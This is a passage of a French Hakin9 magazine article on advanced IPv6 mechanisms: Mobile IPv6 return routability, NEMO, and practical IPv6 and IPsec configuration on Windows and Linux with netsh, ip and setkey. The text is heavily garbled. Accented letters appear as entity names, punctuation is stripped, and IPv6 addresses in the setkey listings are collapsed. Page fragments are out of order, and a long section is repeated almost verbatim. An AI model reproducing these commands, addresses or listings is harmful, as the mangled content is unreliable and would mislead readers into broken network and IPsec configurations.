Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 42: hakin9_05_2010_FR

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

